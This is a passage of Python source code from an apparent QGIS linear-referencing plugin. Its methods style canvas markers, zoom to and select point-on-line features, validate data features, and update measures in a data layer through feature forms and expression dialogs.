(Point-Symbol)\"\"\"\n        # {0: \"None\", 1: \"Cross\", 2: \"X\", 3: \"Box\", 4: \"Circle\", 5: \"Double-Triangle\", 6: \"Triangle\", 7: \"Rhombus\", 8: \"Inverted Triangle\"}\n        # Rev. 2023-04-28\n        self.ss.pt_edit_icon_type = self.my_dialogue.qcb_pt_edit_icon_type.currentData()\n        self.refresh_canvas_graphics()\n\n    def s_change_pt_edit_color(self, color: str):\n        \"\"\"change color of edit-canvas-graphic\n        :param color: color in HexArgb-Format\n        \"\"\"\n        # Rev. 2023-04-28\n        self.ss.pt_edit_color = color\n        self.refresh_canvas_graphics()\n\n    def s_change_pt_edit_fill_color(self, color: str):\n        \"\"\"change fill-color of edit-canvas-graphic\n        :param color: color in HexArgb-Format\n        \"\"\"\n        # Rev. 2023-04-28\n        self.ss.pt_edit_fill_color = color\n        self.refresh_canvas_graphics()\n\n    def s_change_pt_measure_pen_width(self, pen_width: int):\n        \"\"\"change pen-width of measure-canvas-graphic (Point-Symbol)\n        :param pen_width: width in pixel\n        \"\"\"\n        # Rev. 2023-04-28\n        self.ss.pt_measure_pen_width = pen_width\n        self.refresh_canvas_graphics()\n\n    def s_change_pt_measure_icon_size(self, icon_size: int):\n        \"\"\"change icon-Size of measure-canvas-graphic (Point-Symbol)\n        :param icon_size: size in pixel\n        \"\"\"\n        # Rev. 2023-04-28\n        self.ss.pt_measure_icon_size = icon_size\n        self.refresh_canvas_graphics()\n\n    def s_change_pt_measure_icon_type(self):\n        \"\"\"change icon_type of measure-canvas-graphic (Point-Symbol)\"\"\"\n        # {0: \"None\", 1: \"Cross\", 2: \"X\", 3: \"Box\", 4: \"Circle\", 5: \"Double-Triangle\", 6: \"Triangle\", 7: \"Rhombus\", 8: \"Inverted Triangle\"}\n        # Rev. 2023-04-28\n        self.ss.pt_measure_icon_type = self.my_dialogue.qcb_pt_measure_icon_type.currentData()\n        self.refresh_canvas_graphics()\n\n    def s_change_pt_measure_color(self, color: str):\n        \"\"\"change color of measure-canvas-graphic\n        :param color: color in HexArgb-Format\n        \"\"\"\n        # Rev. 2023-04-28\n        self.ss.pt_measure_color = color\n        self.refresh_canvas_graphics()\n\n    def s_change_pt_measure_fill_color(self, color: str):\n        \"\"\"change fill-color of measure-canvas-graphic\n        :param color: color in HexArgb-Format\n        \"\"\"\n        # Rev. 2023-04-28\n        self.ss.pt_measure_fill_color = color\n        self.refresh_canvas_graphics()\n\n    def refresh_canvas_graphics(self):\n        \"\"\"applies self.ss to canvas-grafics\"\"\"\n        # Rev. 2023-04-28\n\n        # selection-rect, not customizable\n        self.rb_selection_rect.setWidth(2)\n        # red border, half transparent\n        self.rb_selection_rect.setColor(QtGui.QColor(255, 0, 0, 100))\n\n        if self.ss.ref_line_width is not None:\n            self.rb_ref.setWidth(self.ss.ref_line_width)\n        if self.ss.ref_line_line_style is not None:\n            self.rb_ref.setLineStyle(self.ss.ref_line_line_style)\n        if self.ss.ref_line_color is not None:\n            self.rb_ref.setColor(QtGui.QColor(self.ss.ref_line_color))\n\n        if self.ss.pt_measure_pen_width is not None:\n            self.vm_pt_measure.setPenWidth(self.ss.pt_measure_pen_width)\n        if self.ss.pt_measure_icon_size is not None:\n            self.vm_pt_measure.setIconSize(self.ss.pt_measure_icon_size)\n        if self.ss.pt_measure_icon_type is not None:\n            self.vm_pt_measure.setIconType(self.ss.pt_measure_icon_type)\n        if self.ss.pt_measure_color is not None:\n            self.vm_pt_measure.setColor(QtGui.QColor(self.ss.pt_measure_color))\n        if self.ss.pt_measure_fill_color is not None:\n            self.vm_pt_measure.setFillColor(QtGui.QColor(self.ss.pt_measure_fill_color))\n\n        if self.ss.pt_edit_pen_width is not None:\n            self.vm_pt_edit.setPenWidth(self.ss.pt_edit_pen_width)\n        if self.ss.pt_edit_icon_size is not None:\n            self.vm_pt_edit.setIconSize(self.ss.pt_edit_icon_size)\n        if self.ss.pt_edit_icon_type is not None:\n            self.vm_pt_edit.setIconType(self.ss.pt_edit_icon_type)\n        if self.ss.pt_edit_color is not None:\n            self.vm_pt_edit.setColor(QtGui.QColor(self.ss.pt_edit_color))\n        if self.ss.pt_edit_fill_color is not None:\n            self.vm_pt_edit.setFillColor(QtGui.QColor(self.ss.pt_edit_fill_color))\n\n        self.iface.mapCanvas().refresh()\n\n    def s_zoom_to_ref_feature(self):\n        \"\"\"zooms to the current snapped Reference-Feature and draws self.rb_ref,\n        fid comes from qcbn_snapped_ref_fid (QComboBoxN)\"\"\"\n        # Rev. 2023-04-28\n        if self.ds.refLyr:\n            ref_fid = self.my_dialogue.qcbn_snapped_ref_fid.currentData()\n            if ref_fid is not None:\n                ref_feature = self.ds.refLyr.getFeature(ref_fid)\n                if ref_feature.isValid() and ref_feature.hasGeometry() and not ref_feature.geometry().isEmpty():\n                    extent = ref_feature.geometry().boundingBox()\n                    source_crs = self.ds.refLyr.crs()\n                    target_crs = self.iface.mapCanvas().mapSettings().destinationCrs()\n                    tr = qgis.core.QgsCoordinateTransform(source_crs, target_crs, qgis.core.QgsProject.instance())\n                    extent = tr.transformBoundingBox(extent)\n                    self.iface.mapCanvas().setExtent(extent)\n                    self.iface.mapCanvas().zoomByFactor(1.1)\n                    self.draw_reference_geom(ref_fid)\n                else:\n                    self.push_messages(warning_msg=qt_format(QtCore.QCoreApplication.translate('PolEvt', \"No valid Reference-feature with fid {apos}{0}{apos}\"),ref_fid))\n\n    def s_dialog_close(self):\n        \"\"\"slot for signal dialog_close, emitted on self.my_dialogue closeEvent\n        switch MapTool hide canvas-graphics\"\"\"\n        # Rev. 2023-04-28\n        try:\n            self.vm_pt_edit.hide()\n            self.vm_pt_measure.hide()\n            self.rb_ref.hide()\n            self.rb_selection_rect.hide()\n            self.iface.actionPan().trigger()\n        except Exception as e:\n            # if called on unload and these Markers are already deleted\n            # print(f\"Expected exception in {gdp()}: \\\"{e}\\\"\")\n            pass\n\n    def s_pan_to_measure(self):\n        \"\"\"slot for pan canvas-extent to self.rs.snapped_ref_fid and self.rs.current_measure\"\"\"\n        # Rev. 2023-06-03\n        if self.cf.measure_completed:\n            self.pan_to_measure(self.rs.snapped_ref_fid, self.rs.current_measure)\n\n    def check_data_feature(self,check_pk,push_message:bool = True)->bool:\n        \"\"\"check Data-feature: detect Null-Values\n        :param check_pk: PK of data-feature\n        :param push_message: false => silent mode, no message\n        \"\"\"\n        warning_msg = ''\n        feature_ok = True\n        if self.cf.data_layer_complete and self.cf.reference_layer_complete:\n            data_feature = tools.MyToolFunctions.get_feature_by_value(self.ds.dataLyr, self.ds.dataLyrIdField, check_pk)\n            if data_feature and data_feature.isValid():\n                ref_feature = tools.MyToolFunctions.get_feature_by_value(self.ds.refLyr, self.ds.refLyrPkField, data_feature[self.ds.dataLyrReferenceField.name()])\n                if ref_feature and ref_feature.isValid() and ref_feature.hasGeometry() and not ref_feature.geometry().isEmpty():\n                    measure = data_feature[self.ds.dataLyrMeasureField.name()]\n\n                    if measure == '' or measure is None or repr(measure) == 'NULL':\n                        feature_ok = False\n                        warning_msg = qt_format(QtCore.QCoreApplication.translate('PolEvt', \"Data-feature with PK {apos}{0}{apos} is invalid: Null-Value in measurement-field {apos}{1}.{2}{apos}\"),check_pk, self.ds.dataLyr.name(), self.ds.dataLyrMeasureField.name())\n                else:\n                    feature_ok = False\n                    warning_msg = qt_format(QtCore.QCoreApplication.translate('PolEvt',\"Data-feature with PK {apos}{0}{apos} is invalid: no Reference-feature with ID {apos}{1}{apos} in layer {apos}{2}{apos}\"),check_pk,data_feature[self.ds.dataLyrReferenceField.name()],self.ds.refLyr.name())\n            else:\n                feature_ok = False\n                warning_msg = qt_format(QtCore.QCoreApplication.translate('PolEvt', \"no Data-feature with PK {apos}{0}{apos} in layer {apos}{1}{apos}\"),check_pk, self.ds.dataLyr.name())\n        else:\n            feature_ok = False\n            warning_msg = QtCore.QCoreApplication.translate('PolEvt', \"Missing requirements, Reference- and Data-Layer required, check Point-on-Line-settings...\")\n            self.my_dialogue.tbw_central.setCurrentIndex(1)\n\n        if warning_msg is not None and push_message:\n            self.push_messages(warning_msg=warning_msg)\n\n        return feature_ok\n\n    def set_edit_pk(self, edit_pk, pan_to_feature: bool = True):\n        \"\"\"sets the editable feature\n        set self.rs.edit_pk\n        adds this PK to self.rs.selected_pks (Feature-Selection)\n        :param edit_pk: PK-value of Show-Layer\n        :param pan_to_feature: True ➜ pan canvas False ➜ just select and highlight see PolEvt.set_edit_pk()\n        \"\"\"\n        # Rev. 2023-05-03\n        if self.check_data_feature(edit_pk):\n            data_feature = tools.MyToolFunctions.get_feature_by_value(self.ds.dataLyr, self.ds.dataLyrIdField, edit_pk)\n            ref_feature = tools.MyToolFunctions.get_feature_by_value(self.ds.refLyr, self.ds.refLyrPkField, data_feature[self.ds.dataLyrReferenceField.name()])\n\n            # no duplicates\n            if not edit_pk in self.rs.selected_pks:\n                self.rs.selected_pks.append(edit_pk)\n\n            self.rs.edit_pk = edit_pk\n            self.my_dialogue.le_edit_data_pk.setText(str(edit_pk))\n\n            self.ds.dataLyr.removeSelection()\n            self.ds.dataLyr.select(data_feature.id())\n\n            self.my_dialogue.tbw_central.setCurrentIndex(0)\n            # triggers s_edit_grb_toggle()\n            self.my_dialogue.edit_grb.setChecked(1)\n\n            # same in Show-Layer, if configured\n            if self.cf.show_layer_complete:\n                show_feature = tools.MyToolFunctions.get_feature_by_value(self.ds.showLyr, self.ds.showLyrBackReferenceField, edit_pk)\n                if show_feature and show_feature.isValid():\n                    self.ds.showLyr.removeSelection()\n                    self.ds.showLyr.select(show_feature.id())\n\n            # Show Measure-Data of this Feature in Dialog\n            measure = data_feature[self.ds.dataLyrMeasureField.name()]\n            self.rs.snapped_ref_fid = ref_feature.id()\n            self.rs.current_measure = measure\n            self.my_dialogue.qcbn_snapped_ref_fid.select_by_value(0, 256, ref_feature.id())\n\n            self.check_settings()\n            self.dlg_refresh_measure_section()\n            self.dlg_refresh_edit_section()\n            self.dlg_refresh_feature_selection_section()\n            self.dlg_show_measure(self.rs.snapped_ref_fid, self.rs.current_measure)\n            if pan_to_feature:\n                self.pan_to_measure(ref_feature.id(), self.rs.current_measure)\n            self.draw_measured_point(self.rs.snapped_ref_fid, measure)\n            self.draw_edit_point(self.rs.snapped_ref_fid, measure)\n            self.draw_reference_geom(self.rs.snapped_ref_fid)\n\n\n\n    def s_select_features(self):\n        \"\"\"Toggle tool_mode 'select_features' for selecting point-features from showLyr\"\"\"\n        # Rev. 2023-05-03\n        self.vm_pt_edit.hide()\n        self.rb_ref.hide()\n\n        tool_mode = None\n        if self.rs.tool_mode == 'select_features':\n            tool_mode = 'measuring'\n        else:\n            if self.cf.reference_layer_complete and self.cf.data_layer_complete and self.cf.show_layer_complete:\n                self.ds.showLyr.removeSelection()\n                tool_mode = 'select_features'\n            else:\n                tool_mode = 'measuring'\n                self.push_messages(warning_msg=QtCore.QCoreApplication.translate('PolEvt', \"Missing requirements, Reference-, Data- and Show-Layer required...\"))\n\n        self.check_settings(tool_mode)\n        self.dlg_refresh_feature_selection_section()\n\n    def s_clear_feature_selection(self):\n        \"\"\"remove selected point-features from QTableWidget\"\"\"\n        # Rev. 2023-05-03\n        self.rs.selected_pks = []\n        self.rs.edit_pk = None\n        self.dlg_refresh_feature_selection_section()\n        self.dlg_refresh_edit_section()\n\n        if self.cf.show_layer_complete:\n            self.ds.showLyr.removeSelection()\n\n        if self.cf.data_layer_complete:\n            self.ds.dataLyr.removeSelection()\n\n    def s_append_all_features(self):\n        \"\"\"Adds all Features to self.rs.selected_pks\"\"\"\n        # Rev. 2023-05-03\n        if self.cf.reference_layer_complete and self.cf.data_layer_complete:\n            self.rs.selected_pks = qgis.core.QgsVectorLayerUtils.getValues(self.ds.dataLyr, self.ds.dataLyrIdField.name(), selectedOnly=False)[0]\n            self.check_settings()\n            self.dlg_refresh_feature_selection_section()\n        else:\n            self.push_messages(warning_msg=QtCore.QCoreApplication.translate('PolEvt', \"Missing requirements, Reference-, Data- and Show-Layer required...\"))\n\n    def s_append_data_features(self):\n        \"\"\"Adds current selected Features from dataLyr to self.rs.selected_pks\"\"\"\n        # Rev. 2023-05-03\n        if self.cf.reference_layer_complete and self.cf.data_layer_complete:\n            additional_features = qgis.core.QgsVectorLayerUtils.getValues(self.ds.dataLyr, self.ds.dataLyrIdField.name(), selectedOnly=True)[0]\n            if len(additional_features):\n                if QtWidgets.QApplication.keyboardModifiers() == QtCore.Qt.ShiftModifier:\n                    self.rs.selected_pks += additional_features\n                else:\n                    self.rs.selected_pks = additional_features\n                self.check_settings()\n                self.dlg_refresh_feature_selection_section()\n            else:\n                self.push_messages(info_msg=QtCore.QCoreApplication.translate('PolEvt', \"No selection in Data-Layer...\"))\n        else:\n            self.push_messages(warning_msg=QtCore.QCoreApplication.translate('PolEvt', \"Missing requirements, Reference-, Data- and Show-Layer required...\"))\n\n    def s_zoom_to_feature_selection(self):\n        \"\"\"Zooms canvas to feature-selection\n        iterates through self.rs.selected_pks\n        checks validity,\n        calculates Point-Geometries and their extent,\n        zooms/pans to this extent,\n        selects features in dataLyr and (optional) showLyr (not required)\n        \"\"\"\n        # Rev. 2023-05-08\n        if self.cf.reference_layer_complete and self.cf.data_layer_complete and self.rs.selected_pks.__len__():\n            show_fids = []\n            data_fids = []\n\n            # calculate extent of the selected PoL-Features\n            top = -sys.float_info.max\n            right = -sys.float_info.max\n            left = sys.float_info.max\n            bottom = sys.float_info.max\n\n            for edit_pk in self.rs.selected_pks:\n                data_feature = tools.MyToolFunctions.get_feature_by_value(self.ds.dataLyr, self.ds.dataLyrIdField, edit_pk)\n                if data_feature and data_feature.isValid():\n                    ref_feature = tools.MyToolFunctions.get_feature_by_value(self.ds.refLyr, self.ds.refLyrPkField, data_feature[self.ds.dataLyrReferenceField.name()])\n                    if ref_feature and ref_feature.isValid() and ref_feature.hasGeometry() and not ref_feature.geometry().isEmpty():\n                        measure = data_feature[self.ds.dataLyrMeasureField.name()]\n                        ref_feature_geom = ref_feature.geometry()\n                        projected_point = ref_feature_geom.interpolate(measure)\n                        if self.iface.mapCanvas().mapSettings().destinationCrs() != self.ds.refLyr.crs():\n                            projected_point.transform(qgis.core.QgsCoordinateTransform(self.ds.refLyr.crs(), self.iface.mapCanvas().mapSettings().destinationCrs(), qgis.core.QgsProject.instance()))\n\n                        if projected_point:\n                            left = min(left, projected_point.asPoint().x())\n                            bottom = min(bottom, projected_point.asPoint().y())\n                            right = max(right, projected_point.asPoint().x())\n                            top = max(top, projected_point.asPoint().y())\n\n                            # projected_point ➜ QgsGeometry\n                            data_fids.append(data_feature.id())\n\n                            if self.cf.show_layer_complete:\n                                show_feature = tools.MyToolFunctions.get_feature_by_value(self.ds.showLyr, self.ds.showLyrBackReferenceField, edit_pk)\n                                if show_feature and show_feature.isValid():\n                                    show_fids.append(show_feature.id())\n\n            self.ds.dataLyr.removeSelection()\n            self.ds.dataLyr.selectByIds(data_fids)\n\n            if self.cf.show_layer_complete:\n                self.ds.showLyr.removeSelection()\n                self.ds.showLyr.selectByIds(show_fids)\n\n            # zoomToSelected without layer:\n            if left < right or bottom < top:\n                # valuable extent ➜ zoom\n                extent = qgis.core.QgsRectangle(left, bottom, right, top)\n                self.iface.mapCanvas().setExtent(extent)\n                self.iface.mapCanvas().zoomByFactor(1.1)\n            elif left == right and bottom == top:\n                # single feature or all features with same calculated point ➜ pan\n                center_point = qgis.core.QgsPointXY(left, bottom)\n                self.iface.mapCanvas().setCenter(center_point)\n            else:\n                # no feature or no point calculable, left/top/right/bottom as initialized with +- sys.float_info.max\n                self.push_messages(warning_msg=QtCore.QCoreApplication.translate('PolEvt', \"no extent calculable for these features\"))\n\n    def s_append_show_features(self):\n        \"\"\"Adds current selected Features from showLyr to self.rs.selected_pks\"\"\"\n        # Rev. 2023-05-03\n        if self.cf.reference_layer_complete and self.cf.data_layer_complete and self.cf.show_layer_complete:\n\n            additional_features = qgis.core.QgsVectorLayerUtils.getValues(self.ds.showLyr, self.ds.showLyrBackReferenceField.name(), selectedOnly=True)[0]\n            if len(additional_features):\n                if QtWidgets.QApplication.keyboardModifiers() == QtCore.Qt.ShiftModifier:\n                    self.rs.selected_pks += additional_features\n                else:\n                    self.rs.selected_pks = additional_features\n\n                self.check_settings()\n                self.dlg_refresh_feature_selection_section()\n            else:\n                self.push_messages(info_msg=QtCore.QCoreApplication.translate('PolEvt', \"No selection in Show-Layer...\"))\n        else:\n            self.push_messages(warning_msg=QtCore.QCoreApplication.translate('PolEvt', \"Missing requirements, Reference-, Data- and Show-Layer required...\"))\n\n    def s_update_feature(self):\n        \"\"\"Show feature-form for edit and save segment to Data-Layer\"\"\"\n        # Rev. 2023-04-27\n        try_it = True\n        did_it = False\n        critical_msg = ''\n        success_msg = ''\n        info_msg = ''\n        warning_msg = ''\n        if self.cf.update_enabled and self.rs.edit_pk is not None:\n            if self.check_data_feature(self.rs.edit_pk):\n                # get current edit-values from runtime-settings, not from dialogue-widgets\n                data_feature = tools.MyToolFunctions.get_feature_by_value(self.ds.dataLyr, self.ds.dataLyrIdField, self.rs.edit_pk)\n                ref_feature = self.ds.refLyr.getFeature(self.rs.snapped_ref_fid)\n\n                if self.ds.dataLyr.isEditable():\n                    if self.ds.dataLyr.isModified():\n                        dialog_result = QtWidgets.QMessageBox.question(\n                            None,\n                            f\"LinearReferencing Update Feature ({gdp()})\",\n                            qt_format(QtCore.QCoreApplication.translate('PolEvt', \"{div_pre_1}Layer {apos}{0}{apos} is editable!{div_ml_1}[Yes]{nbsp}{nbsp}{nbsp}{nbsp}{nbsp}{arrow} End edit session with save{br}[No]{nbsp}{nbsp}{nbsp}{nbsp}{nbsp}{nbsp}{arrow} End edit session without save{br}[Cancel]{nbsp}{arrow} Quit...{div_ml_2}{div_pre_2}\"),self.ds.dataLyr.name()),\n                            buttons=QtWidgets.QMessageBox.Yes | QtWidgets.QMessageBox.No | QtWidgets.QMessageBox.Cancel,\n                            defaultButton=QtWidgets.QMessageBox.Yes\n                        )\n\n                        if dialog_result == QtWidgets.QMessageBox.Yes:\n                            self.ds.dataLyr.commitChanges()\n                        elif dialog_result == QtWidgets.QMessageBox.No:\n                            self.ds.dataLyr.rollBack()\n                        else:\n                            try_it = False\n                            info_msg = QtCore.QCoreApplication.translate('PolEvt', \"Canceled by user...\")\n                    else:\n                        self.ds.dataLyr.rollBack()\n\n                if try_it:\n                    # num_digits = 2\n                    # if self.ds.refLyr.crs().isGeographic():\n                    #     num_digits = 6\n                    # measure = round(self.rs.current_measure, num_digits)\n\n                    measure = max(0, min(ref_feature.geometry().length(), self.rs.current_measure))\n                    data_feature[self.ds.dataLyrReferenceField.name()] = ref_feature[self.ds.refLyrPkField.name()]\n                    data_feature[self.ds.dataLyrMeasureField.name()] = measure\n\n                    try:\n                        self.ds.dataLyr.startEditing()\n                        dlg_result = self.iface.openFeatureForm(self.ds.dataLyr, data_feature)\n                        if dlg_result:\n                            update_ref_pk = data_feature[self.ds.dataLyrReferenceField.name()]\n                            update_measure = data_feature[self.ds.dataLyrMeasureField.name()]\n                            update_ref_feature = tools.MyToolFunctions.get_feature_by_value(self.ds.refLyr, self.ds.refLyrPkField, update_ref_pk)\n                            # user could have changed feature-data in dialog (PK, Reference-id, measure)\n                            # ➜ validity-check like \"Reference-id exists in refLyr?\" \"measure 0 ...referenced_line_length?\"\n                            if update_ref_feature and update_ref_feature.isValid() and ref_feature.hasGeometry() and not ref_feature.geometry().isEmpty():\n\n                                if ref_feature.geometry().constGet().partCount() > 1:\n                                    warning_msg = qt_format(QtCore.QCoreApplication.translate('PolEvt', \"Referenced linestring-geometry {apos}{0}{apos} in layer {apos}{1}{apos} is {2}-parted, Point-on-Line-feature not calculable\"),self.rs.snapped_ref_fid, self.ds.refLyr.name(), ref_feature.geometry().constGet().partCount())\n\n                                if update_measure < 0 or update_measure > update_ref_feature.geometry().length():\n                                    info_msg = qt_format(QtCore.QCoreApplication.translate('PolEvt', \"measure {0} truncated to range 0 ... {1}\"),update_measure, update_ref_feature.geometry().length())\n                                    data_feature[self.ds.dataLyrMeasureField.name()] = max(0, min(update_ref_feature.geometry().length(), update_measure))\n\n                                self.ds.dataLyr.updateFeature(data_feature)\n                                commit_result = self.ds.dataLyr.commitChanges()\n                                if commit_result:\n                                    did_it = True\n                                    success_msg = qt_format(QtCore.QCoreApplication.translate('PolEvt', \"Feature with ID {apos}{0}{apos} successfully updated in Data-Layer {apos}{1}{apos}...\"),self.rs.edit_pk, self.ds.dataLyr.name())\n                                else:\n                                    self.ds.dataLyr.rollBack()\n                                    critical_msg = str(self.ds.dataLyr.commitErrors())\n                            else:\n                                self.ds.dataLyr.rollBack()\n                                critical_msg = qt_format(QtCore.QCoreApplication.translate('PolEvt', \"Update feature failed, no Reference-feature with PK {apos}{0}{apos} in Data-Layer {apos}{1}{apos} ...\"),update_ref_pk, self.ds.refLyr.name())\n                        else:\n                            self.ds.dataLyr.rollBack()\n                            info_msg = QtCore.QCoreApplication.translate('PolEvt', \"Canceled by user...\")\n\n                    except Exception as err:\n                        self.ds.dataLyr.rollBack()\n                        critical_msg = f\"Exception '{err.__class__.__name__}' in {gdp()}: {err}\"\n        else:\n            critical_msg = qt_format(QtCore.QCoreApplication.translate('PolEvt', \"Update feature failed, missing privileges in Data-Layer {apos}{0}{apos}...\"),self.ds.dataLyr.name())\n\n        if did_it:\n            self.vm_pt_edit.hide()\n            self.vm_pt_measure.hide()\n            if self.cf.show_layer_complete:\n                self.ds.showLyr.updateExtents()\n                if self.iface.mapCanvas().isCachingEnabled():\n                    self.ds.showLyr.triggerRepaint()\n                else:\n                    self.iface.mapCanvas().refresh()\n\n            self.set_edit_pk(self.rs.edit_pk, False)\n\n        self.push_messages(success_msg, info_msg, warning_msg, critical_msg)\n\n    def s_open_ref_form(self):\n        \"\"\"opens the attribute-form for the Reference-Layer, draws self.rb_ref\n        fid comes from qcbn_snapped_ref_fid (QComboBoxN)\"\"\"\n        # Rev. 2023-05-03\n        if self.cf.reference_layer_defined:\n            # feature-id != PK ➜ always integer\n            ref_fid = self.my_dialogue.qcbn_snapped_ref_fid.currentData()\n            if ref_fid is not None:\n                ref_feature = self.ds.refLyr.getFeature(ref_fid)\n                if ref_feature and ref_feature.isValid():\n                    self.iface.openFeatureForm(self.ds.refLyr, ref_feature)\n                    self.draw_reference_geom(ref_fid)\n                else:\n                    self.push_messages(warning_msg=qt_format(QtCore.QCoreApplication.translate('PolEvt', \"Feature with FID {apos}{0}{apos} in Reference-Layer {apos}{1}{apos} not found or not valid\"),ref_fid, self.ds.refLyr.name()))\n\n    def s_open_show_lyr_tbl(self):\n        \"\"\"opens the Show-Layer-attribute-table\"\"\"\n        # Rev. 2023-05-03\n        if self.cf.show_layer_defined:\n            self.iface.showAttributeTable(self.ds.showLyr)\n\n    def s_open_data_tbl(self):\n        \"\"\"opens the Data-Layer-attribute-table \"\"\"\n        # Rev. 2023-05-03\n        if self.cf.data_layer_defined:\n            self.iface.showAttributeTable(self.ds.dataLyr)\n\n    def s_open_ref_tbl(self):\n        \"\"\"opens the Reference-Layer-attribute-table \"\"\"\n        # Rev. 2023-05-03\n        if self.cf.reference_layer_defined:\n            self.iface.showAttributeTable(self.ds.refLyr)\n\n    def s_define_ref_lyr_display_expression(self):\n        \"\"\"opens the dialog for editing the displayExpression of Reference-Layer\"\"\"\n        # Rev. 2023-05-09\n        if self.cf.reference_layer_defined:\n            dlg = qgis.gui.QgsExpressionBuilderDialog(self.ds.refLyr, self.ds.refLyr.displayExpression())\n            dlg.setWindowTitle(qt_format(QtCore.QCoreApplication.translate('PolEvt', \"Edit displayExpression for Reference-Layer {apos}{0}{apos}\"),self.ds.refLyr.name()))\n            exec_result = dlg.exec()\n            if exec_result:\n                # expressionBuilder ➜ https://api.qgis.org/api/classQgsExpressionBuilderWidget.html\n                if dlg.expressionBuilder().isExpressionValid():\n                    self.ds.refLyr.setDisplayExpression(dlg.expressionText())\n                    self.check_settings()\n                    self.dlg_refresh_reference_layer_section()\n                    self.dlg_refresh_feature_selection_section()\n                    self.push_messages(success_msg=qt_format(QtCore.QCoreApplication.translate('PolEvt', \"Expression {apos}{0}{apos} valid and used as DisplayExpression for Reference-Layer {apos}{1}{apos}\"),dlg.expressionText(), self.ds.refLyr.name()))\n                else:\n                    self.push_messages(warning_msg=qt_format(QtCore.QCoreApplication.translate('PolEvt', \"Expression {apos}{0}{apos} invalid and not used as DisplayExpression for Reference-Layer {apos}{1}{apos}, please check syntax!\"),dlg.expressionText(), self.ds.refLyr.name()))\n        else:\n            # should not happen, because QPushButton disabled\n            self.push_messages(warning_msg=QtCore.QCoreApplication.translate('PolEvt', \"No Reference-Layer defined yet\"))\n\n    def s_define_data_lyr_display_expression(self):\n        \"\"\"opens the dialog for editing the displayExpression of Data-Layer\"\"\"\n        # Rev. 2023-05-09\n        if self.cf.data_layer_defined:\n            dlg = qgis.gui.QgsExpressionBuilderDialog(self.ds.dataLyr, self.ds.dataLyr.displayExpression())\n            dlg.setWindowTitle(qt_format(QtCore.QCoreApplication.translate('PolEvt', \"Edit displayExpression for Data-Layer {apos}{0}{apos}\"),self.ds.dataLyr.name()))\n            exec_result = dlg.exec()\n            if exec_result:\n                # expressionBuilder ➜ https://api.qgis.org/api/classQgsExpressionBuilderWidget.html\n                if dlg.expressionBuilder().isExpressionValid():\n                    self.ds.dataLyr.setDisplayExpression(dlg.expressionText())\n                    # self.dlg_refresh_feature_selection_section() ➜ triggered automatically\n                    self.push_messages(success_msg=qt_format(QtCore.QCoreApplication.translate('PolEvt', \"Expression {apos}{0}{apos} valid and used as DisplayExpression for Data-Layer {apos}{1}{apos}\"),dlg.expressionText(), self.ds.dataLyr.name()))\n                else:\n                    self.push_messages(warning_msg=qt_format(QtCore.QCoreApplication.translate('PolEvt', \"Expression {apos}{0}{apos} invalid and not used as DisplayExpression for Data-Layer {apos}{1}{apos}, please check syntax!\"),dlg.expressionText(), self.ds.dataLyr.name()))\n        else:\n            # should not happen, because QPushButton disabled\n            self.push_messages(warning_msg=QtCore.QCoreApplication.translate('PolEvt', \"No Data-Layer defined yet\"))\n\n    def s_define_show_lyr_display_expression(self):\n        \"\"\"opens the dialog for editing the displayExpression of Show-Layer\n        see connect_show_layer\"\"\"\n        # Rev. 2023-05-09\n        if self.cf.show_layer_defined:\n            dlg = qgis.gui.QgsExpressionBuilderDialog(self.ds.showLyr, self.ds.showLyr.displayExpression())\n            dlg.setWindowTitle(qt_format(QtCore.QCoreApplication.translate('PolEvt', \"Edit displayExpression for Show-Layer {apos}{0}{apos}\"),self.ds.showLyr.name()))\n            exec_result = dlg.exec()\n            if exec_result:\n                # expressionBuilder ➜ https://api.qgis.org/api/classQgsExpressionBuilderWidget.html\n                if dlg.expressionBuilder().isExpressionValid():\n                    self.ds.showLyr.setDisplayExpression(dlg.expressionText())\n                    self.push_messages(success_msg=qt_format(QtCore.QCoreApplication.translate('PolEvt', \"Expression {apos}{0}{apos} valid and used as DisplayExpression for Show-Layer {apos}{1}{apos}\"),dlg.expressionText(), self.ds.showLyr.name()))\n                else:\n                    self.push_messages(warning_msg=qt_format(QtCore.QCoreApplication.translate('PolEvt', \"Expression {apos}{0}{apos} invalid and not used as DisplayExpression for Show-Layer {apos}{1}{apos}, please check syntax!\"),dlg.expressionText(), self.ds.showLyr.name()))\n        else:\n            # should not happen, because QPushButton disabled\n            self.push_messages(warning_msg=QtCore.QCoreApplication.translate('PolEvt', \"No Show-Layer defined yet\"))\n\n    def s_measure_edited(self, measure: float) -> None:\n        \"\"\"Slot for valueChanged-Signal of the QDoubleSpinBox for measure, changed via user-input or spin-Buttons\n        .. Note::\n            Range of the spinbox is set to 0 ... length of the snapped geometry\n        :param measure: changed widget-value\n        \"\"\"\n        # Rev. 2023-05-03\n\n        if QtWidgets.QApplication.keyboardModifiers() == QtCore.Qt.ControlModifier:\n            self.my_dialogue.dspbx_measure.setSingleStep(10)\n        elif QtWidgets.QApplication.keyboardModifiers() == QtCore.Qt.ShiftModifier:\n            self.my_dialogue.dspbx_measure.setSingleStep(100)\n        elif QtWidgets.QApplication.keyboardModifiers() == (QtCore.Qt.ShiftModifier | QtCore.Qt.ControlModifier):\n            self.my_dialogue.dspbx_measure.setSingleStep(1000)\n        else:\n            self.my_dialogue.dspbx_measure.setSingleStep(1)\n\n        if self.cf.reference_layer_defined and self.cf.measure_completed:\n            ref_feature = self.ds.refLyr.getFeature(self.rs.snapped_ref_fid)\n            if ref_feature and ref_feature.isValid() and ref_feature.hasGeometry() and not ref_feature.geometry().isEmpty():\n                ref_feature_geom = ref_feature.geometry()\n                # Spinbox-Value > length of the geometry ?\n                # Should never happen, because the range is set to line-length\n                self.rs.current_measure = max(0, min(measure, ref_feature_geom.length()))\n                self.draw_measured_point(self.rs.snapped_ref_fid, self.rs.current_measure)\n                self.draw_reference_geom(self.rs.snapped_ref_fid)\n                self.dlg_show_measure(self.rs.snapped_ref_fid, self.rs.current_measure)\n\n    def s_measure_fract_edited(self, measure_fract: float) -> None:\n        \"\"\"Slot for valueChanged-Signal of the QDoubleSpinBox for measure, changed via user-input or spin-Buttons\n        :param measure_fract: changed widget-value, 0...1\n        \"\"\"\n        # Rev. 2023-05-03\n        if self.cf.measure_completed:\n            ref_feature = self.ds.refLyr.getFeature(self.rs.snapped_ref_fid)\n            if ref_feature and ref_feature.isValid() and ref_feature.hasGeometry() and not ref_feature.geometry().isEmpty():\n                measure_fract = max(0, min(measure_fract, 1))\n                ref_feature_geom = ref_feature.geometry()\n                self.rs.current_measure = measure_fract * ref_feature_geom.length()\n                self.draw_measured_point(self.rs.snapped_ref_fid, self.rs.current_measure)\n                